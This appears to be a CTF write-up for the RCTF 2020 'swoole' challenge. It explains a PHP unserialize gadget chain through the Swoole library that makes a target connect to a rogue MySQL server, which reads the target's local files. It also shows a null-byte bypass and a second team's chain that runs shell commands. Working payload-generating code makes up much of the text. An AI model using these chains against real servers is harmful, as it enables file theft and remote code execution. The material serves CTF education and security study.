# swoole

make unserialize great again!

## License

AGPL License

## Solution

Run the following code in Swoole to generate the payload:  
```php  
getProperty($property);  
$b->setAccessible(true);  
$b->setValue($object, $value);  
}

// Part A

$c = new \Swoole\Database\PDOConfig();  
$c->withHost('ROUGE_MYSQL_SERVER'); // your rouge-mysql-server host & port  
$c->withPort(3306);  
$c->withOptions([  
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,  
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'  
]);

$a = new \Swoole\ConnectionPool(function () { }, 0,
'\\\Swoole\\\Database\\\PDOPool');  
changeProperty($a, 'size', 100);  
changeProperty($a, 'constructor', $c);  
changeProperty($a, 'num', 0);  
changeProperty($a, 'pool', new \SplDoublyLinkedList());

// Part C

$d =
unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9'));  
// This's Swoole\Database\MysqliProxy  
changeProperty($d, 'constructor', [$a, 'get']);

$curl = new \Swoole\Curl\Handler('http://www.baidu.com');  
$curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']);  
$curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']);

$ret = new \Swoole\ObjectProxy(new stdClass);  
changeProperty($ret, '__object', [$curl, 'exec']);

$s = serialize($ret);  
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {  
return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';  
}, $s);

echo $s;  
echo "\n";

```

## Explaination

The only way I found which can pass arguments to function is this:
https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L89  
```php  
$connection = new $this->proxy($this->constructor);  
```  
I checked all constructors and only MySQL is useful, so this is a challenge
around Swoole and Rouge MySQL Server. This payload have something amazing
parts.

### Part 1 - Rouge MySQL Server

Here's a description of this code:  
```php  
$c->withOptions([  
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,  
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'  
]);  
```

Let's first review the principles of Rouge MySQL Server. When the client sends
a `COM_QUERY` request to the server for a SQL query, if the server returns a
`Procotol::LOCAL_INFILE_Request`, the client will read the local file and send
it to the server. See [https://dev.mysql.com/doc/internals/en/com-query-
response.html#packet-
Protocol::LOCAL_INFILE_Request](https://dev.mysql.com/doc/internals/en/com-
query-response.html#packet-Protocol::LOCAL_INFILE_Request).

This means, if the MySQL client is connected but didn't send any query to the
server, the client will not respond to the server's `LOCAL INFILE` request at
all. There are many clients, such as the MySQL command line, will query for
various parameters once connected. But PHP's MySQL client will do nothing
after connection, so we need to configure the MySQL client with
`MYSQL_ATTR_INIT_COMMAND` parameter and let it automatically send a SQL
statement to the server after connection.

[I found a bug](https://github.com/swoole/library/issues/34) in mysqli for
Swoole, it will ignores all connection parameters. So only PDO can be used
here.

### Part 2 - SplDoublyLinkedList

Read the following code:
https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L57

```php  
public function get()  
{  
if ($this->pool->isEmpty() && $this->num < $this->size) {  
$this->make();  
}  
return $this->pool->pop();  
}  
public function put($connection): void  
{  
if ($connection !== null) {  
$this->pool->push($connection);  
}  
}  
```

The type of `$this->pool` is `Swoole\Coroutine\Channel`, but it can't be
serialized. Fortunately, PHP have no runtime type checking for properties so
we can find a serializable class which contains ``isEmpty`` ``push`` and
``pop`` method to replace it. SPL contains lots of classes look like this, you
can replace `SplDoublyLinkedList` to `SplStack`, `SplQueue`, and so on.

### Part 3 - curl

Let's returning back to the payload and find the "Part C" comment. Try
`$a->get()` here, it will return a `Swoole\Database\PDOPool` object. This is a
connection pool, Swoole will not connect to MySQL until we try to get a
connection from the pool. So we should use `$a->get()->get()` to connect to
MySQL.

We have no way to call functions continuously. But check
``PDOProxy::reconnect``(https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Database/PDOProxy.php#L88):  
```php  
public function reconnect(): void  
{  
$constructor = $this->constructor;  
parent::__construct($constructor());  
}  
public function parent::__construct ($constructor)  
{  
$this->__object = $object;  
}  
public function parent::__invoke(...$arguments)  
{  
/** @var mixed $object */  
$object = $this->__object;  
return $object(...$arguments);  
}  
```

Thats means `__object` will be changed after `reconnect`, so we should find a
way to do something like this:  
```php  
$a->reconnect(); // Now $this->__object is PDOPool  
$a->get();  
```

Check curl, it allows exactly two different callbacks to be called.:
https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Curl/Handler.php#L736

```php  
$cb = $this->headerFunction;  
if ($client->statusCode > 0) {  
$row = "HTTP/1.1 {$client->statusCode} " .
Status::getReasonPhrase($client->statusCode) . "\r\n";  
if ($cb) {  
$cb($this, $row);  
}  
$headerContent .= $row;  
}  
// ...  
if ($client->body and $this->readFunction) {  
$cb = $this->readFunction;  
$cb($this, $this->outputStream, strlen($client->body));  
}  
```

### Part 4 - Inaccessible properties

Check the following code:  
```php  
php > class A{public $b;protected $c;}  
php > $b = new A();  
php > var_dump(serialize($b));  
php shell code:1:  
string(35) "O:1:"A":2:{s:1:"b";N;s:4:"\000*\000c";N;}"  
php >  
```

The private/protected property name will be mangled with `\x00` by
[zend_mangle_property_name](https://github.com/php/php-
src/blob/34f727e63716dfb798865289c079b017812ad03b/Zend/zend_API.c#L3595). I
banned `\x00`, how to bypass it?

Try the following code, it unmangled the property to make it public.

```php  
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {  
return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';  
}, $s);  
```

In PHP < 7.2, the unserialized object will have two properties with the same
name but different visibility:  
```php  
php > var_dump($s);  
string(32) "O:1:"A":2:{s:1:"b";N;s:1:"c";N;}"  
php > var_dump(unserialize($s));  
object(A)#2 (3) {  
["b"]=>  
NULL  
["c":protected]=>  
NULL  
["c"]=>  
NULL  
}  
```

In PHP >= 7.2, PHP will handle property visibility changes. You can see this
commit for detail: [Fix #49649 - Handle property visibility changes on
unserialization ](https://github.com/php/php-
src/commit/7cb5bdf64a95bd70623d33d6ea122c13b01113bd).

That is it.

## Unintended Solution

Come from [Nu1L](https://ctftime.org/team/19208). It has 2 tricks:

\- `array_walk` can be used in object.  
\- `exec` is replaced by `swoole_exec` and have to use 2 `array_walk` to
bypass it.

```php  
```php  
$o = new Swoole\Curl\Handlep("http://google.com/");  
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");  
$o->setOpt(CURLOPT_FILE, "array_walk");  
$o->exec = array('whoami');  
$o->setOpt(CURLOPT_POST,1);  
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");  
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);  
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);  
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));

// process_serialized:  
// use `S:` instead of `s:` to bypass \x00  
```  

Original writeup (https://github.com/zsxsoft/my-ctf-
challenges/tree/master/rctf2020/swoole).